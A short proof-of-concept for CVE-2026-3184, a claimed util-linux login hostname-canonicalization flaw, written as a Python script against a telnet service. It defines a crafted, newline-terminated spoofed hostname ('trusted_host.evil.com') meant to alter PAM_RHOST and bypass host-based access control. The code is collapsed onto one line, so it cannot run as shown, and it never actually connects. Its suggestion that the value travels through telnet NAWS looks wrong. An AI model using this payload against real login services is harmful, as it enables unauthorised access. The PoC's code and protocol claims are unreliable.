CVE-2026-3184 util-linux登录主机名规范化缺陷

# The following is a conceptual PoC demonstration. # An attacker would typically use a network service (like telnet) that invokes login -h. import socket import sys # Target configuration TARGET_HOST = "target_server" TARGET_PORT = 23 # Telnet port, assuming it invokes login # Crafted hostname designed to bypass canonicalization checks # Example: Exploiting truncation or suffix stripping logic MALICIOUS_HOSTNAME = b"trusted_host.evil.com\n" def send_exploit(): print(f"[*] Attempting to connect to {TARGET_HOST}:{TARGET_PORT}") # In a real scenario, this interacts with the protocol that eventually calls 'login -h' # For example, sending a specific NAWS or NEW-ENVIRON variable in telnet # or raw bytes in rlogin protocol. # This represents the payload injection point payload = MALICIOUS_HOSTNAME print(f"[*] Sending crafted hostname: {payload}") print("[*] If successful, PAM_RHOST will be modified, bypassing access control.") # Actual socket interaction code would go here if __name__ == "__main__": send_exploit()